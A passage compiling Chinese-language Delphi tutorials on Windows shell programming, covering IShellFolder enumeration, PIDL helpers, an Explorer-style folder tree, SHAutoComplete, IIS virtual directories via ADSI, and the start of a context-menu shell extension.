function EnumObjects(hwndOwner: HWND; grfFlags: DWORD;

out EnumIDList: IEnumIDList): HResult; stdcall;

function BindToObject(pidl: PItemIDList; pbcReserved: Pointer;

const riid: TIID; out ppvOut): HResult; stdcall;

function BindToStorage(pidl: PItemIDList; pbcReserved: Pointer;

const riid: TIID; out ppvObj): HResult; stdcall;

function CompareIDs(lParam: LPARAM;

pidl1, pidl2: PItemIDList): HResult; stdcall;

function CreateViewObject(hwndOwner: HWND; const riid: TIID;

out ppvOut): HResult; stdcall;

function GetAttributesOf(cidl: UINT; var apidl: PItemIDList;

var rgfInOut: UINT): HResult; stdcall;

function GetUIObjectOf(hwndOwner: HWND; cidl: UINT; var apidl: PItemIDList;

const riid: TIID; prgfInOut: Pointer; out ppvOut): HResult; stdcall;

function GetDisplayNameOf(pidl: PItemIDList; uFlags: DWORD;

var lpName: TStrRet): HResult; stdcall;

function SetNameOf(hwndOwner: HWND; pidl: PItemIDList; lpszName: POLEStr;

uFlags: DWORD; var ppidlOut: PItemIDList): HResult; stdcall;

end;

主要的方法就是EnumObjects()和BindToObject()。前者用于列举当前文件夹中的对象，后者用于获取容器对象的IShellFolder接口。

EnumObjects()返回一个IEnumIDList接口，用于遍历所有的对象。通过grfFlags参数，你可以控制列举的对象类型，这个参数可以是以下值或其组合：

SHCONTF_FOLDERS = 32, // for shell browser

SHCONTF_NONFOLDERS = 64, // for default view

SHCONTF_INCLUDEHIDDEN = 128, // for hidden or system objects

IEnumIDList的声明如下：

IEnumIDList = interface(IUnknown)

[SID_IEnumIDList]

function Next(celt: ULONG; out rgelt: PItemIDList;

var pceltFetched: ULONG): HResult; stdcall;

function Skip(celt: ULONG): HResult; stdcall;

function Reset: HResult; stdcall;

function Clone(out ppenum: IEnumIDList): HResult; stdcall;

end;

Next()返回一个PIDL（对象标志符列表指针）数组，上至"celt"。"pceltFetched"保存获取的PIDL的数目。Skip()向前移动"celt"对象，而Reset()返回列举列表的最开始处。使用Clone()方法你可以得到一个与当前状态相同的IEnumIDList接口的拷贝，非常有用，例如你可以在列举的时候放置一个“书签”。

这里是一个列举桌面上所有对象的例子：

...

var

Desktop: IShellFolder

EnumIDLIst: IEnumIDList;

CurPidl: PItemIDLIst;

Fetched: ULONG;

begin

if SHGetDesktopFolder(Desktop) <> NOERROR then

begin

if Desktop.EnumObjects(Handle, SHCONTF_FOLDERS, EnumIDList) = NOERROR then

begin

// Retrieve objects one at a time...

while EnumIDList.Next(1, CurPidl, Fetched) = S_OK do

begin

... // Add code here to do something with the objects

CoTaskMemFree(CurPidl); // Remember to free PIDLs!

end;

end;

end;

end;

要列举一个子文件夹的内容，我们必须获取它的IShellFodler接口。如果父文件夹已经包含了一个IShellFodler接口，而且ChildPidl包含一个有效的子文件夹的PIDL（例如用IEnumIDList.Next()返回的），我们可以这样做：

var

ChildFolder: IShellFolder;

...

if ParentFolder.BindToObject(ChildPidl, nil, IID_IShellFolder, pointer(ChildFolder)) <> NOERROR then

begin

with ChildFolder do

begin

// 使用新的IShellFolder接口做些事情...

end;

end;

IShellFolder其余的方法用于操作对象：

ParseDisplayName() 用于将一个显示名称（例如路径）翻译为对象标志符列表。

CompareIDs() 判断两个文件对象或者文件夹的相对顺序，使用它们的对象标志符列表。

GetAttributeOf() 获取一个或者多个文件对象或者子文件夹的属性。可以为以下值：

SFGAO_CANCOPY 指定文件对象或者文件夹可以被复制

SFGAO_CANDELETE 指定文件对象或者文件夹可以被删除

SFGAO_CANLINK 可以给指定文件对象或者文件夹生成快捷方式

SFGAO_CANMOVE 指定文件对象或者文件夹可以被移动

SFGAO_CANRENAME 指定文件对象或者文件夹可以被重命名

SFGAO_CAPABILITYMASK 性能(capability)标志位掩码

SFGAO_DROPTARGET 指定文件对象或者文件夹是拖动目标(drop target)

SFGAO_HASPROPSHEET 指定文件对象或者文件夹有属性页

SFGAO_DISPLAYATTRMASK 显示属性掩码

SFGAO_GHOSTED The 指定文件对象或者文件夹显示时应该使用虚图标

SFGAO_LINK 指定文件对象是快捷方式

SFGAO_READONLY 指定文件对象或者文件夹是只读的

SFGAO_SHARE 指定文件夹是共享的

SFGAO_CONTENTSMASK 内容属性掩码

SFGAO_HASSUBFOLDER 指定文件夹含有子文件夹(因此，可以在Windows的Explorer的左边面板里展开

SFGAO_FILESYSTEM 指定文件对象或者文件夹是系统文件的一部分

SFGAO_FILESYSANCESTOR 指定文件夹包含一个或者多个系统文件夹

SFGAO_FOLDER 指定对象是文件夹

SFGAO_REMOVABLE 指定文件对象或者文件夹在可移动介质上（如软盘）

例如，我们可以使用GetAttributeOf来选择对应的图标。

GetDisplayNameOf()和SetName()获取或者设置对象名。

注意，显示名是用一个不同的结构返回的：

_STRRET = record

uType: UINT; { One of the STRRET_* values }

case Integer of

0: (pOleStr: LPWSTR); { must be freed by caller }

1: (pStr: LPSTR); { NOT USED }

2: (uOffset: UINT); { Offset into SHITEMID (ANSI) }

3: (cStr: array[0..MAX_PATH-1] of Char); { Buffer to fill in }

end;

uType告诉我们哪个字段保存了名称。注意：pOleStr必须由调用者释放！


使用外壳对象标志符列表(PIDL)

Windows95在它的新外壳(Shell)中引入了一些新的对象，这些对象无法在文件系统中与之对应（例如，打印机文件夹及其内部的对象）。这些对象无法用“路径”来标志它们，因此Windows又引入了对象标志符(Item Identifier)和对象标志符列表(Item Identifier List)。每一个对象在它的所有者容器(container)对象(通常是一个文件夹)中有一个唯一的对象标志符(不同所有者的两个对象可能拥有相同的对象标志符)，而一个对象是由一系列的标志符来唯一识别，这一系列的标志中包含最顶层的namespace的根对象--桌面(Desktop)，以及所有的容器对象，最后是对象自己，这就是对象标志符列表。

一个对象标志符有一个很简单的数据结构(ShlObj.pas):

_SHITEMID = record

cb: Word; { ID的大小(包含cb在内) }

abID: array[0..0] of Byte; { 对象ID (可变长度) }

end;

abID部分的长度是可变的，它的内容是由管理这个对象的Shell扩展程序来定义的。

一个对象标志符列表的结构甚至更简单一些(ShlObj.pas)：

_ITEMIDLIST = record

mkid: TSHItemID;

end;

一个对象标志符列表是由若干个对象标志符一个接一个形成的链式结构，最后以一个将cb域设为0的空的标志符来作为结束标志。对象标志符列表通常使用指针来操作，称为PIDL(Pointer to Item iDenfifier List)。PIDL使用IMalloc接口(interface)来分配空间和释放，这个接口可以通过调用SHGetMalloc()来获取。

这里有两种对象标志符列表，绝对列表和相对列表。绝对列表从namespace的根对象开始，而相对列表从对象的父容器对象开始。不幸的是：操作PIDL的API函数需要的是绝对列表，而接口(例如IShellFolder接口)的方法都是使用相对列表。

只有Windows 2000 API中公开提供了简单的转换PIDL的函数，在NT和W9x中却包含一大串未公开的函数(可以看看www.delphizine.com中的《The Secret World of PIDLs》文章)。

这里有一些Delphi函数来维护PIDL，这些函数是Microsoft sample C program, EnumDesk中部分函数的Pascal翻译版本：

// 分配一个新的PIDL，大小由cbSize指定，并将全部域初始化为0

function CreatePidl(cbSize: UINT): PItemIDList;

var

lpMalloc: IMalloc;

begin

if SHGetMalloc(lpMalloc) <> NOERROR then

begin

Result := nil;

Exit;

end;

Result := lpMAlloc.Alloc(cbSize);

if Result <> nil then

FillChar(Result^, cbSize, #0);

end;

// 返回PIDL列表中的下一个PIDL

function NextPidl(Pidl: PItemIDList): PItemIDList;

var

lpMem: LPSTR;

begin

lpMem := LPSTR(Pidl);

lpMem := lpMem + Pidl.mkid.cb;

Result := PItemIDList(lpMem);

end;

// 返回PIDL的大小(一个列表可能含有一个或者多个IDL)

function GetPidlSize(Pidl: PItemIDList): UINT;

begin

Result := 0;

if Pidl <> nil then

begin

Result := SizeOf(Pidl.mkid.cb);

while Pidl.mkid.cb <> 0 do

begin

Result := Result + Pidl.mkid.cb;

Pidl := NextPidl(Pidl);

end;

end;

end;

// 连接Pidl1和Pidl2 -- 可以用于从相对列表创建绝对列表

function ConcatPidls(Pidl1, Pidl2: PItemIDList): PItemIDList;

var

cb1, cb2: UINT;

begin

if Pidl1 <> nil then // Pidl1 may be nil...

cb1 := GetPidlSize(Pidl1) - SizeOf(Pidl1.mkid.cb)

else

cb1 := 0;

cb2 := GetPidlSize(Pidl2);

Result := CreatePidl(cb1 + cb2);

if Result <> nil then

begin

if Pidl1 <> nil then

Move(Pidl1^, Result^, cb1);

Move(Pidl2^, (LPSTR(Result)+ cb1)^, cb2);

end;

end;

// 返回指定PIDL的一个新的副本，使用MAlloc接口

function CopyITEMID(Pidl: PItemIDList; MAlloc: IMAlloc): PItemIDList;

begin

Result := MAlloc.Alloc(Pidl.mkid.cb + SizeOf(Pidl.mkid.cb));

Move(Pidl^, Result^, Pidl.mkid.cb + SizeOf(Pidl.mkid.cb));

end;

在IShellFolder提供许多SHxxxxx函数使我们可以获取和操作PIDLs。

这里是其中部分最常用的函数(声明在ShlObj.pas)，你可以查阅Windows SDK Help文档来获取它们的详细信息。

SHGetSpecialFolderLocation() 获取指定文件夹的PIDL，例如桌面(Desktop)、我的电脑(My Computer)等等。

SHGetPathFromIDList() 返回PIDL在文件系统中的路径（如果存在的话）。

SHChangeNotify() 通知外壳(Shell)应用程序执行了某项操作需要外壳更新自已（例如重命名一个文件夹）。

SHGetFileInfo() 返回大量有关namespace对象的信息：图标、类型、属性、显示名称等等，可用于返回系统ImageList的句柄(handle)。同时接收PIDL或者路径参数。

SHAddToRecentDocs() 将一个文档增加到外壳(Shell)的最近使用文档的列表中，或者清空这个列表。同时接收PIDL或者路径参数。

SHBrowseForFolder() 显示一个对话框让用户可以选择一个外壳(Shell)文件夹，并返回其PIDL。


Windows缺省的外壳关于对话框

ShellApi单元中有不少有趣的函数，ShellAbout就是其中之一，它用来打开缺省的Windows About对话框。并设置自己的标题文本和图标.

回答:

uses

ShellApi;

begin

ShellAbout( self.Handle, pChar('This is my header'),

pChar('This is my copyright'), HICON(nil) //使用缺省图标，也可以自己设定.

);

end;


用ADSI创建IIS的虚拟目录

作者:noctwolf

先引入类型库(Project|Import Type Library)adsiis.dll、iisext.dll和activeds.tlb

新建一个单元，声明

unit ActiveDs;

interface

function ADsGetObject(const PathName: WideString; const GUID: TGUID; out I: IUnknown): HRESULT; stdcall;

implementation

function ADsGetObject; external 'activeds.dll' name 'ADsGetObject';

end.

方法一(参照C++)、

var

I: IADsContainer;

ADs: IADs;

begin

if ADsGetObject('IIS://localhost/w3svc', IID_IADsContainer, IUnknown(I)) = S_Ok then

begin

ADs := IADs(I.GetObject('IIsWebServer', '1'));

ShowMessage(ADs.ADsPath);

if ADs.QueryInterface(IID_IADsContainer, I) = S_OK then

begin

ADs := IADs(I.GetObject('IIsWebVirtualDir', 'Root'));

ShowMessage(ADs.ADsPath);

if ADs.QueryInterface(IID_IADsContainer, I) = S_OK then

begin

ADs := IADs(I.Create('IIsWebVirtualDir', 'DelphiTest'));

ADs.Put('AccessRead', 'True');

ADs.Put('Path', 'c:\Temp');

ADs.SetInfo;

end;

end;

end;

end;

方法二(使用接口)、

procedure TForm3.BitBtn4Click(Sender: TObject);

var

Disp: IDispatch;

begin

Disp := IISNamespace1.GetObject('IIsWebService', 'localhost/w3svc');

Disp := (Disp as IADsContainer).GetObject('IIsWebServer', '1');

Disp := (Disp as IADsContainer).GetObject('IIsWebVirtualDir', 'Root');

Disp := (Disp as IADsContainer).Create('IIsWebVirtualDir', 'DelphiADSITest');

(Disp as IADs).Put('AccessRead', 'True');

(Disp as IADs).Put('Path', 'c:\ADSITest');

(Disp as IADs).SetInfo;

end;

方法三(使用Variant，就是类似VB和ASP的方法)、

procedure TForm2.BitBtn1Click(Sender: TObject);

var

WebSite, WebServer, WebRoot, VDir: Variant;

begin

WebSite := CreateOleObject('IISNamespace');

WebSite := WebSite.GetObject('IIsWebService', 'localhost/w3svc');

WebServer := WebSite.GetObject('IIsWebServer', '1');

WebRoot := WebServer.GetObject('IIsWebVirtualDir', 'Root');

VDir := WebRoot.Create('IIsWebVirtualDir', 'VariantTest');

VDir.AccessRead := True;

VDir.Path := 'C:\Test';

VDir.SetInfo;

end;


用Delphi实现Windows文件夹管理树

李鹏 薛志东

摘要：本文利用Windows名空间所提供的IShellFolder接口，用Delphi实现了文件夹管理树的生成。
关键字：文件夹 接口 Delphi
一、概述

Windows95/98视觉感观上区别Windows3.1的一个重要方面就是大量采用了树形视图控件，资源管理器左侧的文件夹管理树便是如此，它将本地和网络上的文件夹和文件等资源以层次树的方式罗列出来，为用户集中管理计算机提供了极大便利，同时在外貌上也焕然一新。Delphi为我们提供了大量Windows标准控件，但遗憾的是在目录浏览方面却只提供了一个Windows3.1样式的DirectoryListBox（Delphi5的测试版也是如此），因此，在Delphi中实现Windows文件夹管理树对开发更“地道”的Windows程序有着重大意义。

二、实现原理

Windows文件夹管理树的实现实质上是对Windows名空间（Namespace）的遍历。名空间中每个文件夹都提供了一个IShellFolder接口，遍历名空间的方法是：

1）调用SHGetDesktopFolder函数获得桌面文件夹的IShellFolder接口，桌面文件夹是文件夹管理树的根节点。

2）再调用所获得的IShellFolder接口的EnumObjects成员函数列举出子文件夹。

3）调用IShellFolder的BindToObject成员函数获得子文件夹的IShellFolder接口。

4）重复步骤2）、3）列举出某文件夹下的所有子文件夹，只至所获得的IShellFolder接口为nil为止。

下面解释将要用到的几个主要函数，它们在ShlObj单元中定义：

1）function SHGetDesktopFolder(var ppshf: IShellFolder): HResult;

该函数通过ppshf获得桌面文件夹的IShellFolder接口。

2）function IShellFolder.EnumObjects(hwndOwner: HWND; grfFlags: DWORD;

out EnumIDList: IEnumIDList): HResult;

该函数获得一个IEnumIDList接口，通过调用该接口的Next等函数可以列举出IShellFolder接口所对应的文件夹的内容，内容的类型由grfFlags来指定。我们需要列举出子文件夹来，因此grfFlags的值指定为SHCONTF_FOLDERS。HwndOwner是属主窗口的句柄。

3）function IShellFolder.BindToObject(pidl: PItemIDList; pbcReserved: Pointer;

const riid: TIID; out ppvOut: Pointer): HResult;

该函数获得某个子文件夹的IShellFolder接口，该接口由ppvOut返回。pidl是一个指向元素标识符列表的指针，Windows95/98中用元素标识符和元素标识符列表来标识名空间中的对象，它们分别类似于文件名和路径。需要特别指出的是：pidl作为参数传递给Shell API函数时，必须是相对于桌面文件夹的绝对路径，而传递给IShellFolder接口的成员函数时，则应是相对于该接口所对应文件夹的相对路径。pbcReserved应指定为nil，riid则应指定为IID_IShellFolder。

其它函数可以查阅Delphi提供的《Win32 Programmer's Reference》。

三、程序清单

下面的源代码在Windows98中实现，并在Windows2000测试版中测试无误(程序运行结果如图1所示)，有兴趣的读者可以将其改写成Delphi组件，以备常用。

unit BrowseTreeView;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ShlObj, ComCtrls;

type

PTreeViewItem = ^TTreeViewItem;

TTreeViewItem = record

ParentFolder: IShellFolder; // 接点对应的文件夹的父文件夹的IShellFolder接口

Pidl, FullPidl: PItemIDList; // 接点对应的文件夹的相对和绝对项目标识符列表

HasExpanded: Boolean; // 接点是否展开

end;

图1 程序运行结果

TForm1 = class(TForm)

TreeView1: TTreeView;

procedure FormDestroy(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure TreeView1Expanding(Sender: TObject; Node: TTreeNode;

var AllowExpansion: Boolean);

private

FItemList: TList;

procedure SetTreeViewImageList;

procedure FillTreeView(Folder: IShellFolder; FullPIDL: PItemIDList; ParentNode: TTreeNode);

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses

ActiveX, ComObj, ShellAPI, CommCtrl;

// 以下是几个对项目标识符进行操作的函数

procedure DisposePIDL(ID: PItemIDList);

var

Malloc: IMalloc;

begin

if ID = nil then Exit;

OLECheck(SHGetMalloc(Malloc));

Malloc.Free(ID);

end;

function CopyItemID(ID: PItemIDList): PItemIDList;

var

Malloc: IMalloc;

begin

Result := nil;

OLECheck(SHGetMalloc(Malloc));

if Assigned(ID) then

begin

Result := Malloc.Alloc(ID^.mkid.cb + sizeof(ID^.mkid.cb));

CopyMemory(Result, ID, ID^.mkid.cb + sizeof(ID^.mkid.cb));

end;

end;

function NextPIDL(ID: PItemIDList): PItemIDList;

begin

Result := ID;

Inc(PChar(Result), ID^.mkid.cb);

end;

function GetPIDLSize(ID: PItemIDList): Integer;

begin

Result := 0;

if Assigned(ID) then

begin

Result := sizeof(ID^.mkid.cb);

while ID^.mkid.cb <> 0 do

begin

Inc(Result, ID^.mkid.cb);

ID := NextPIDL(ID);

end;

end;

end;

function CreatePIDL(Size: Integer): PItemIDList;

var

Malloc: IMalloc;

HR: HResult;

begin

Result := nil;

HR := SHGetMalloc(Malloc);

if Failed(HR) then Exit;

try

Result := Malloc.Alloc(Size);

if Assigned(Result) then

FillChar(Result^, Size, 0);

finally

end;

end;

function ConcatPIDLs(ID1, ID2: PItemIDList): PItemIDList;

var

cb1, cb2: Integer;

begin

if Assigned(ID1) then

cb1 := GetPIDLSize(ID1) - sizeof(ID1^.mkid.cb)

else

cb1 := 0;

cb2 := GetPIDLSize(ID2);

Result := CreatePIDL(cb1 + cb2);

if Assigned(Result) then

begin

if Assigned(ID1) then

CopyMemory(Result, ID1, cb1);

CopyMemory(PChar(Result) + cb1, ID2, cb2);

end;

end;

// 将二进制表示的项目标识符列表转换成有可识的项目名

function GetDisplayName(Folder: IShellFolder; PIDL: PItemIDList;

ForParsing: Boolean): String;

var

StrRet: TStrRet;

P: PChar;

Flags: Integer;

begin

Result := '';

if ForParsing then

Flags := SHGDN_FORPARSING

else

Flags := SHGDN_NORMAL;

Folder.GetDisplayNameOf(PIDL, Flags, StrRet);

case StrRet.uType of

STRRET_CSTR:

SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));

STRRET_OFFSET:

begin

P := @PIDL.mkid.abID[StrRet.uOffset - sizeof(PIDL.mkid.cb)];

SetString(Result, P, PIDL.mkid.cb - StrRet.uOffset);

end;

STRRET_WSTR:

Result := StrRet.pOleStr;

end;

end;

function GetIcon(PIDL: PItemIDList; Open: Boolean): Integer;

const

IconFlag = SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_SMALLICON;

var

FileInfo: TSHFileInfo;

Flags: Integer;

begin

if Open then

Flags := IconFlag or SHGFI_OPENICON

else

Flags := IconFlag;

SHGetFileInfo(PChar(PIDL), 0, FileInfo, sizeof(TSHFileInfo), Flags);

Result := FileInfo.iIcon;

end;

// 获得每个文件夹在系统中的图标

procedure GetItemIcons(FullPIDL: PItemIDList; TreeNode: TTreeNode);

begin

with TreeNode do

begin

ImageIndex := GetIcon(FullPIDL, False);

SelectedIndex := GetIcon(FullPIDL, True);

end;

end;

// 获得系统的图标列表

procedure TForm1.SetTreeViewImageList;

var

ImageList: THandle;

FileInfo: TSHFileInfo;

begin

ImageList := SHGetFileInfo(PChar('C:\'), 0, FileInfo,

sizeof(TSHFileInfo), SHGFI_SYSICONINDEX or SHGFI_SMALLICON);

if ImageList <> 0 then

TreeView_SetImageList(TreeView1.Handle, ImageList, 0);

end;

// 生成文件夹管理树

procedure TForm1.FillTreeView(Folder: IShellFolder;

FullPIDL: PItemIDList; ParentNode: TTreeNode);

var

TreeViewItem: PTreeViewItem;

EnumIDList: IEnumIDList;

PIDLs, FullItemPIDL: PItemIDList;

NumID: LongWord;

ChildNode: TTreeNode;

Attr: Cardinal;

begin

try

OLECheck(Folder.EnumObjects(Handle, SHCONTF_FOLDERS, EnumIDList));

while EnumIDList.Next(1, PIDLs, NumID) = S_OK do

begin

FullItemPIDL := ConcatPIDLs(FullPIDL, PIDLs);

TreeViewItem := New(PTreeViewItem);

TreeViewItem.ParentFolder := Folder;

TreeViewItem.Pidl := CopyItemID(PIDLs);

TreeViewItem.FullPidl := FullItemPIDL;

TreeViewItem.HasExpanded := False;

FItemList.Add(TreeViewItem);

ChildNode := TreeView1.Items.AddChildObject(ParentNode,

GetDisplayName(Folder, PIDLs, False), TreeViewItem);

GetItemIcons(FullItemPIDL, ChildNode);

Attr := SFGAO_HASSUBFOLDER or SFGAO_FOLDER;

Folder.GetAttributesOf(1, PIDLs, Attr);

if Bool(Attr and (SFGAO_HASSUBFOLDER or SFGAO_FOLDER)) then

if Bool(Attr and SFGAO_FOLDER) then

if Bool(Attr and SFGAO_HASSUBFOLDER) then

ChildNode.HasChildren := True;

end;

except

// 你可在此处对异常进行处理

end;

end;

procedure TForm1.FormDestroy(Sender: TObject);

var

I: Integer;

begin

try

for I := 0 to FItemList.Count-1 do

begin

DisposePIDL(PTreeViewItem(FItemList[i]).PIDL);

DisposePIDL(PTreeViewItem(FItemList[i]).FullPIDL);

end;

FItemList.Clear;

FItemList.Free;

except

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

Folder: IShellFolder;

begin

SetTreeViewImageList;

OLECheck(SHGetDesktopFolder(Folder));

FItemList := TList.Create;

FillTreeView(Folder, nil, nil);

end;

procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;

var AllowExpansion: Boolean);

var

TVItem: PTreeViewItem;

SHFolder: IShellFolder;

begin

TVItem := PTreeViewItem(Node.Data);

if TVItem.HasExpanded then Exit;

OLECheck(TVItem.ParentFolder.BindToObject(TVItem^.Pidl,

nil, IID_IShellFolder, Pointer(SHFolder)));

FillTreeView(SHFolder, TVItem^.FullPidl, Node);

Node.AlphaSort;

TVItem^.HasExpanded := True;

end;

end.


使编辑框具有类似IE的自动完成功能

在shwlapi.dll中有一个函数SHAutoComplete。调用这个函数可以给Edit控件添加自动完成的功能。

注意：调用这个函数前一定要先调用ole初始化函数CoInitialize。下面是例子程序：

unit AutoCompleteUnit;

interface

uses Windows, StdCtrls, ComObj;//comobj的初始化部分调用了coInitialize函数，所以等于隐式调用了这个函数

Const

SHACF_DEFAULT = $0;

SHACF_FILESYSTEM = $1;

SHACF_URLHISTORY = $2;

SHACF_URLMRU = $4;

SHACF_URLALL = (SHACF_URLHISTORY Or SHACF_URLMRU);

SHACF_AUTOSUGGEST_FORCE_ON = $10000000;

SHACF_AUTOSUGGEST_FORCE_OFF = $20000000;

SHACF_AUTOAPPEND_FORCE_ON = $40000000;

SHACF_AUTOAPPEND_FORCE_OFF = $80000000;

function AutoComplete(editField: TEdit; dwFlags: DWORD): Boolean;

implementation

function SHAutoComplete(hwndEdit: HWND; dwFlags: dWord): LongInt;

stdcall; external 'shlwapi.dll';

function AutoComplete(editField: TEdit; dwFlags: DWORD): Boolean;

begin

Result := (SHAutoComplete(editField.Handle, dwFlags) = 0);

end;

end.


利用Delphi编写Windows外壳扩展

TechnoFantasy

利用Delphi编写Windows外壳扩展
对于操作系统原理比较了解的朋友都会知道，一个完备的操作系统都会提供了一个外壳（Shell），以方便普通的用户
使用操作系统提供的各种功能。Windows（在这里指的是Windows 95\Windows NT4.0以上版本的操作系统）的外壳不但提供
了方便美观的GUI图形界面，而且还提供了强大的外壳扩展功能，大家可能在很多软件中看到这些外壳扩展了。例如在你的
系统中安装了Winzip的话，当你在Windows Explore中鼠标右键点击文件夹或者文件后，在弹出菜单中就会出现Winzip的压
缩菜单。又或者Bullet FTP中在Windows资源管理器中出现的FTP站点文件夹。
Windows支持七种类型的外壳扩展（称为Handler），它们相应的作用简述如下：

    (1)Context menu handlers：向特定类型的文件对象增添上下文相关菜单；

    (2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；

    (3)Icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；

    (4)Property sheet handlers给文件对象增添属性页（就是右键点击文件对象或文件夹对象后，在弹出菜单中选属性
项后出现的对话框），属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；

    (5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为Windows
增加Copy-hook handlers，可以允许或者禁止其中的某些操作；

    (6)Drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；

    (7)Data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。

    Windows的所有外壳扩展都是基于COM(Component Object Model) 组件模型的，外壳是通过接口(Interface)来访问对象的。
外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。因此，如果要对Windows
的用户界面进行扩充的话，则具备写COM对象的一些知识是十分必要的。 由于篇幅所限，在这里就不介绍COM，读者可以参考
微软的MSDN库或者相关的帮助文档，一个接口可以看做是一个特殊的类，它包含一组函数合过程可以用来操作一个对象。
写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT\CLSID键
之下进行注册。在该键下面可以找到许多名字像{0000002F-0000-0000-C000-000000000046}的键，这类键就是全局唯一类标识
符(Guid)。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。
在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。与某种文件类型关联的外壳扩展注册在
相应类型的shellex主键下。如果所处的Windows操作系统为Windows NT，则外壳扩展还必须在注册表中的
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved主键下登记。
编译完外壳扩展的DLL程序后就可以用Windows本身提供的regsvr32.exe来注册该DLL服务器程序了。如果使用Delphi，也可
以在Run菜单中选择Register ActiveX Server来注册。

下面首先介绍一个比较常用的外壳扩展应用：上下文相关菜单，在Windows中，用鼠标右键单击文件或者文件夹时弹出的那
个菜单便称为上下文相关菜单。要动态地在上下文相关菜单中增添菜单项，可以通过写Context Menu Handler来实现。比如大家
所熟悉的WinZip和UltraEdit等软件都是通过编写Context Menu Handler来动态地向菜单中增添菜单项的。如果系统中安装了
WinZip，那么当用右键单击一个名为Windows的文件（夹）时，其上下文相关菜单就会有一个名为Add to Windows.zip的菜单项。
本文要实现的Context Menu Handler与WinZip提供的上下文菜单相似。它将在任意类型的文件对象的上下文相关菜单中添加一个
文件操作菜单项，当点击该项后，接口程序就会弹出一个文件操作窗口，执行文件拷贝、移动等操作。
  编写Context Menu Handler必须实现IShellExtInit、IContextMenu和TComObjectFactory三个接口。IShellExtInit实现
接口的初始化，IContextMenu接口对象实现上下文相关菜单，IComObjectFactory接口实现对象的创建。
下面来介绍具体的程序实现。首先在Delphi中点击菜单的 File|New 项，在New Item窗口中选择DLL建立一个DLL工程文件。
然后点击菜单的 File|New 项，在New Item窗口中选择Unit建立一个Unit文件，点击点击菜单的 File|New 项，在New Item窗口
中选择Form建立一个新的窗口。将将工程文件保存为Contextmenu.dpr ，将Unit1保存为Contextmenuhandle.pas，将Form保存为
OpWindow.pas。

Contextmenu.dpr的程序清单如下：
library contextmenu;

uses
ComServ,

contextmenuhandle in 'contextmenuhandle.pas',
opwindow in 'opwindow.pas' {Form2};

exports

DllGetClassObject,
DllCanUnloadNow,

DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin

end.

Contextmenuhandle的程序清单如下：
unit ContextMenuHandle;

interface

uses Windows,ActiveX,ComObj,ShlObj,Classes;

type

TContextMenu = class(TComObject,IShellExtInit,IContextMenu)
private

FFileName: array[0..MAX_PATH] of Char;
protected

     function IShellExtInit.Initialize = SEIInitialize; // Avoid
   compiler warning
function SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
hKeyProgID: HKEY): HResult; stdcall;
function QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast,
uFlags: UINT): HResult; stdcall;
function InvokeCommand(var lpici: TCMInvokeCommandInfo):
   HResult; stdcall;
function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HResult; stdcall;
end;

const

Class_ContextMenu: TGUID = '{19741013-C829-11D1-8233-0020AF3E97A0}';

{全局唯一标识符(GUID)是一个16字节（128为）的值，它唯一地标识一个接口(interface)}
var

FileList:TStringList;

implementation

uses ComServ, SysUtils, ShellApi, Registry,UnitForm;

function TContextMenu.SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
hKeyProgID: HKEY): HResult;
var

StgMedium: TStgMedium;
FormatEtc: TFormatEtc;
FileNumber,i:Integer;
begin

file://如果lpdobj等于Nil，则本调用失败
if (lpdobj = nil) then begin
Result := E_INVALIDARG;
Exit;

end;

file://首先初始化并清空FileList以添加文件
FileList:=TStringList.Create;
FileList.Clear;

file://初始化剪贴版格式文件
with FormatEtc do begin
cfFormat := CF_HDROP;
ptd := nil;

dwAspect := DVASPECT_CONTENT;
lindex := -1;

tymed := TYMED_HGLOBAL;
end;

Result := lpdobj.GetData(FormatEtc, StgMedium);

if Failed(Result) then Exit;

file://首先查询用户选中的文件的个数
FileNumber := DragQueryFile(StgMedium.hGlobal,$FFFFFFFF,nil,0);
file://循环读取，将所有用户选中的文件保存到FileList中
for i:=0 to FileNumber-1 do begin
DragQueryFile(StgMedium.hGlobal, i, FFileName, SizeOf(FFileName));
FileList.Add(FFileName);
Result := NOERROR;

end;

ReleaseStgMedium(StgMedium);
end;

function TContextMenu.QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst,
idCmdLast, uFlags: UINT): HResult;
begin

Result := 0;
if ((uFlags and $0000000F) = CMF_NORMAL) or
((uFlags and CMF_EXPLORE) <> 0) then begin
// 往Context Menu中加入一个菜单项 ,菜单项的标题为察看位图文件
InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdFirst,
PChar('文件操作'));

// 返回增加菜单项的个数
Result := 1;

end;
end;

function TContextMenu.InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult;
var

frmOP:TForm1;
begin

// 首先确定该过程是被系统而不是被一个程序所调用
if (HiWord(Integer(lpici.lpVerb)) <> 0) then
begin

Result := E_FAIL;
Exit;

end;
// 确定传递的参数的有效性
if (LoWord(lpici.lpVerb) <> 0) then begin
Result := E_INVALIDARG;
Exit;

end;

file://建立文件操作窗口
